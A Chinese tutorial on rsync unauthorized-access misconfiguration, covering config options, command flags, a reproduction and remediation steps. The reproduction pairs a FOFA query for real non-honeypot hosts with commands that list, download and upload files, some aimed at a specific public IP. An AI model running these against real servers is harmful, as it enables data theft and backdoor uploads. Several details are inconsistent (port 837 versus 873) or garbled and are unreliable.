Rsync
是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837
且默认配置文件路径在/etc/rsync.conf
fofa:(port="873") && (is_honeypot=false && is_fraud=false)
# 配置文件
motd file -> motd文件位置
log file -> 日志文件位置文件位置
path -> 默认路径位置路径位置
use chroot -> 是否限定在该目录下定在该目录下该目录下,如果为true就限定为模块默认目录
read only -> 只读配置
list=true -> 是否可以列出模块名以列出模块名出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件密码文件,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机
hosts deny 禁止的主机*表任意任意
# 基本命令
Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]
-v 观察模式,输出更多资讯
-q 与 –v 相反,仅显示错误信息
-r 递归复制,针对目录
-u 仅更新较新的文件
-l 复制连接的属性
-p 复制时保持属性不变
-g 保存原有群组
-o 保存原有拥有人
-D 保存原有装置属性
-t 保存原有时间属性
-I 忽略更新时间属性,档案比对较快
-z 加上压缩参数
-e 使用协议通道,例如ssh,-e ssh
-a 相对于-rlptgoD,所以-a最常用
》》》漏洞描述《《《
Rsync未授权访问带来的危害主要有两个:
- 造成了严重的信息泄露;
- 上传脚本后门文件,远程命令执行;
》》》漏洞复现《《《
步骤一:在fofa
中搜索该资产语法如下并在Vulhub中开启靶场!!!
# Fofa语法
(port="873") && (is_honeypot=false && is_fraud=false)
# 启动靶场
cd vulhub/rsync/common
docker-compose up -d
列出目标服务器的同步目录:
rsync x.x.x.x::
rsync rsync://45.125.0.38:873
列出模块下文件
rsync rsync://45.125.0.38:873/debiancn
下载任意文件
rsync rsync://45.125.0.38:873/debiancn/a.txz /home/kali/Desktop/a.txz
上传任意文件
rsync x.txt rsync://192.168.0.185/src/home/
rsync x.txt 192.168.0.185::src/home/
》》》漏洞修复《《《
# 通用解决
配置认证用户名或者密码
host allow/deny 来控制接入源IP
uid和gid,使用足够但最小权限的账号进行
必要时候可以配置只读
非必要应该仅限制配置路径下可访问
# 解决细节
1.修改指定端口
- 配置文件不存在修改指定端口的选项,可以在启动命令行通过参数指定
/usr/local/rsync/bin.rsync --port=878 --daemon
- 查看进程检测是否更改端口
ps -ef | grep rsync
2.禁止匿名访问
- 配置文件/etc/rsync.conf中增加 auth users = test
- 若未包含auth users即为匿名访问